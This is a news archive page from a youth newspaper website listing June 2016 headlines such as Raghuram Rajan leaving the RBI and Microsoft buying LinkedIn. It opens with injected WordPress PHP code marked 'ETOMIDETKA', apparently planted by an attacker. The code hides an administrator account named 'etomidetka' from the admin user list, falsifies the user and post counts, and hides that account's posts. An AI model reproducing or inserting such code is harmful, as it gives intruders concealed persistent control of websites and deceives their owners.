//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Main News | YOUNG MINDS | Page 42

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Main News (Page 42)
Raghuram Rajan not to seek second term as RBI Governor

Raghuram Rajan not to seek second term as RBI Governor

In a surprise move that sent ripples across the financial sector, Governor of the Reserve Bank of India Raghuram Rajan has announced that he would not continue …

June 20, 2016 | Main News
“A new world”: Official slogan for Rio Olympics

“A new world”: Official slogan for Rio Olympics

The Rio 2016 organising committee has revealed the official slogan for the first Olympic games in South America — “A new world”. The core …

June 16, 2016 | Main News
President Mukherjee awarded Cote d’Ivoire top honour

President Mukherjee awarded Cote d’Ivoire top honour

President Pranab Mukherjee has been awarded Cote d’Ivoire’s (Ivory Coast) highest honour, the Grand Cross National Order of the Republic of Cote …

June 16, 2016 | Main News
Russia given suspended disqualification

Russia given suspended disqualification

Russia will be thrown out of Euro 2016 if their fans cause further trouble. The Russians have also been fined 150,000 Euro (£119,000) following violent scenes …

June 15, 2016 | Main News
Microsoft to buy networking site LinkedIn for $26.2 billion

Microsoft to buy networking site LinkedIn for $26.2 billion

Microsoft has signed a deal to acquire the professional social network LinkedIn for $26.2 billion in cash. The two firms said they had reached a …

June 14, 2016 | Main News
Florida attack worst mass shooting in US history

Florida attack worst mass shooting in US history

The attack at a gay club in Florida on 12th June, that left 50 people dead and another 53 wounded, is now the deadliest mass shooting incident in US history. …

June 13, 2016 | Main News
The world’s longest and deepest rail tunnel opens in Switzerland

The world’s longest and deepest rail tunnel opens in Switzerland

The world’s longest and deepest rail tunnel has officially opened in Switzerland, after almost two decades of construction work. The 57km twin-bore …

June 13, 2016 | Main News
Thailand marks 70 years of king’s reign

Thailand marks 70 years of king’s reign

Thailand is marking 70 years since King Bhumibol Adulyadej, the world’s longest-reigning living monarch, ascended to the throne. The 88-year-old king is …

June 9, 2016 | Main News
Modi & Obama welcome work on nuclear reactors in India

Modi & Obama welcome work on nuclear reactors in India

U.S. President Barack Obama and Indian Prime Minister Narendra Modi have welcomed the start of preparatory work on six nuclear reactors in India, a key step in …

June 8, 2016 | Main News
Clinton Clinches Nomination

Clinton Clinches Nomination

Hillary Clinton has secured enough delegates to win the Democratic presidential nomination, emerging from a long and bruising primary to become the first woman …

June 7, 2016 | Main News
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds